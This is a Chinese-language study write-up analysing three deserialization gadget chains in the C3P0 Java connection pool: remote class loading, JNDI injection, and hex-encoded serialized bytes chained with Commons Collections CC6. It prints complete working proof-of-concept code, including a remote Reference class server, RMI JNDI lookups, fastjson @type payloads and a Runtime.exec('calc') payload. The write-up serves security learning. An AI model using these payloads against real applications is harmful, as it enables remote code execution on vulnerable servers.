C3P0 链子分析学习
C3P0 链子分析学习
概述
C3P0是一个开源的数据库连接池,它实现了数据源与JNDI绑定,支持JDBC3规范和实现了JDBC2的标准扩展说明的Connection和Statement池的DataSources对象。即将用于连接数据库的连接整合在一起形成一个随取随用的数据库连接池,使用它的开源项目有Hibernate、Spring等。
连接池:“我们在讲多线程的时候说过,创建线程是一个昂贵的操作,如果有大量的小任务需要执行,并且频繁地创建和销毁线程,实际上会消耗大量的系统资源,往往创建和消耗线程所耗费的时间比执行任务的时间还长,所以,为了提高效率,可以用线程池。
类似的,在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接。”
环境搭建
添加依赖
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
Gadget
C3P0常见的利用方式有如下三种
- URLClassLoader远程类加载
- JNDI注入
- 利用HEX序列化字节加载器进行反序列化攻击
URLClassLoader远程类加载
链子分析
就是加载远程类进行利用
Gadget Chain:
PoolBackedDataSourceBase#readObject
ReferenceSerialized#getObject
ReferenceableUtils#referenceToObject
ObjectFactory#getObjectInstance
定位到 PoolBackedDataSourceBase#readObject
方法,
看到如果对象类型为 IndirectlySerialized
,会调用其 getObject 方法,发现只有静态类 ReferenceSerialized
继承了 IndirectlySerialized
接口,跟进其 getObject 方法,
看见这里初始化上下文,然后调用了 lookup ,那如果这里能控制 contextName 变量就能进行 JNDI 注入,
现在就是如何控制变量o为ReferenceSerialized对象,来到 PoolBackedDataSourceBase 的writeObject 方法,
看见反序列化了 connectionPoolDataSource
对象,而该对象没有继承 Serializable 接口
所以在序列化的时候会进入 catch 模块,在 catch 模块会调用 indirector.indirectForm
处理后在进行序列化,跟进ReferenceIndirector.indirectForm
方法。
看见会返回一个 ReferenceSerialized
对象,再跟进其构造函数
这里控制的是 reference
参数,但这里的属性contextName
为默认null
且不可控,所以不能触发JNDI注入,
继续跟进 ReferenceSerialized#getObject
方法,其调用了 ReferenceableUtils#referenceToObject
方法
其中 ref 变量是可以控制的,所以 fClassName
也可以控制,然后先是获取上下文构造器,然后如果fClassLocation 就直接使用当前上下文构造器进行加载,反之使用URLClassLoader 进行远程加载,而这个fClassLocation 我们同样是可以控制的。
poc 构造
先创建个继承了ConnectionPoolDataSource 接口和 Referenceable 的类,并且重写接口ConnectionPoolDataSource 以及其父类 CommonDataSource 接口的方法,
public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{
@Override
public Reference getReference() throws NamingException {
return new Reference("poc","poc","http://127.0.0.1:8888/");
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
因为上面看到在序列化时需要序列化 connectionPoolDataSource
对象,才能触发 catch 模块返回 ReferenceSerialized
对象,朔源发现其赋值的地方,是调用 setConnectionPoolDataSource
方法进行赋值的,
然后至于这个类是不是重写不重要,主要是需要控制 reference
参数,所以这里直接写个类只需要满足是connectionPoolDataSource
对象,然后 reference
参数改为我们控制的。
然后将其实例化,调用 setConnectionPoolDataSource
方法进行赋值,赋值将其序列化
public static void Pool_Serial() throws PropertyVetoException,NoSuchFieldException, IllegalAccessException, IOException {
//也可以反射修改connectionPoolDataSource属性值,这里直接调用方法好了
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
poolBackedDataSourceBase.setConnectionPoolDataSource(new EXP_Loader());
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);
}
public static void Pool_Deserial() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}
public static void main(String[] args) throws IOException, PropertyVetoException,NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Pool_Serial();
Pool_Deserial();
}
综上,完整的 poc
package org.example;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.beans.PropertyVetoException;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0 {
public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{
@Override
public Reference getReference() throws NamingException {
return new Reference("poc","poc","http://127.0.0.1:8888/");
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
//序列化
public static void Pool_Serial() throws PropertyVetoException,NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值为我们的恶意ConnectionPoolDataSource类
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
poolBackedDataSourceBase.setConnectionPoolDataSource(new EXP_Loader());
//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);
}
//反序列化
public static void Pool_Deserial() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}
public static void main(String[] args) throws IOException, PropertyVetoException,NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Pool_Serial();
Pool_Deserial();
}
}
恶意类,poc.java
import java.io.IOException;
public class exp {
public exp() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
然后 python 服务启动监听,弹出计算机,
JNDI注入
链子分析
Gadget
#修改jndiName
JndiRefConnectionPoolDataSource#setJndiName ->
JndiRefForwardingDataSource#setJndiName
#JNDI调用
JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup
定位到 JndiRefConnectionPoolDataSource
类,漏洞点在其调用的 WrapperConnectionPoolDataSource#setLoginTimeout
函数
跟进看到再次调用了 setLoginTimeout
函数,
先看 getNestedDataSource()
方法,返回了 nestedDataSource
变量,
朔源发现该变量是通过 setNestedDataSource
方法进行的赋值
在 JndiRefConnectionPoolDataSource
类调用 setLoginTimeout
时。对 WrapperConnectionPoolDataSource
进行了实例化并调用了 setNestedDataSource
方法为 nestedDataSource
变量赋值
所以回到上面的 WrapperConnectionPoolDataSource#setLoginTimeout
方法中,继续跟进 JndiRefForwardingDataSource#setLoginTimeout
方法
这里调用 inner 方法,进行跟进
跟进到 dereference()
方法,看到了 lookup 方法,并且 jndiName 我们可以控制,看上面的 gadget,可以通过函数 setJndiName
进行控制
那么剩下的 poc 就简单了
public class C3P02 {
public static void main(String[] args)throws Exception {
JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
exp.setJndiName("rmi://localhost:1099/hello");
exp.setLoginTimeout(1);
}
}
fastjson 链子,变一下打 ql 表达式也可以,以为两个变量存在 setter 方法
public class C3P0 {
public static void main(String[] args) throws SQLException {
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"JndiName\":\"rmi://127.0.0.1:1099/hello\", " +
"\"LoginTimeout\":0" +
"}";
JSON.parse(payload);
}
HEX序列化
链子分析
该利用链能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件
Gadget
#设置userOverridesAsString属性值
WrapperConnectionPoolDataSource#setuserOverridesAsString ->
WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
#初始化类时反序列化十六进制字节流
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->
C3P0ImplUtils#parseUserOverridesAsString ->
SerializableUtils#fromByteArray ->
SerializableUtils#deserializeFromByteArray ->
ObjectInputStream#readObject
还是定位到 WrapperConnectionPoolDataSource
类的构造函数
跟进到 C3P0ImplUtils.parseUserOverridesAsString
方法,看到先是进行 hex 解码为一个 byte 类型,然后调用了方法 fromByteArray
将其变为 map 类
跟进
看见了 readobject,到这里这条链子基本就清楚了(这里只是存在反序列,链子需要根据漏洞组件进行利用),利用 cc6 的链子来打
添加依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
poc 构造
先构造出 cc6 的链子,去掉反序列化,
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
public class C3P03 {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put(Tie,"gaoren");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy, cha);
Lazy.remove("aaa");
serilize(hashmap);
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
}
然后再 parseUserOverridesAsString
函数中不难看出,hexAscii 就是传入的参数 userOverridesAsString 提取出来的。
而 userOverridesAsString 是通过 getUserOverridesAsString()
方法获得的,
可以调用 setUserOverridesAsString
进行赋值,
所以构造 poc
package org.example;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
public class C3P03{
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put(Tie,"gaoren");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy, cha);
Lazy.remove("aaa");
serilize(hashmap);
InputStream in = new FileInputStream("111.bin");
byte[] bytein = toByteArray(in);
String Hex = "HexAsciiSerializedMap:"+bytesToHexString(bytein,bytein.length)+"p";
WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource();
exp.setUserOverridesAsString(Hex);
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
最后弹出计算机
fastjson poc
package org.example.serialize.c3p0;
import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.util.Base64;
public class C3P0Hex {
public static void main(String[] args) {
byte[] exp = Base64.getDecoder().decode("rO0ABXNyABFqYXZh...AAAB4eHQABW5pdmlheA==");
String hex = ByteUtils.toHexAscii(exp);
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";
JSON.parse(payload);
}
}
后面发现其实上面的 Gadget 只是后面一部分,准确的说是从 setUserOverridesAsString
开始触发的,调用栈如下
所以调用链应该为:
Gadget
WrapperConnectionPoolDataSource#setuserOverridesAsString ->
WrapperConnectionPoolDataSourceBase#setUserOverridesAsString->
VetoableChangeSupport#fireVetoableChange->
WrapperConnectionPoolDataSource#vetoableChange->
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->
C3P0ImplUtils#parseUserOverridesAsString ->
SerializableUtils#fromByteArray ->
SerializableUtils#deserializeFromByteArray ->
ObjectInputStream#readObject
参考:https://nivi4.notion.site/C3P0-5f394336d9604e8ca80e0bb55c4ce473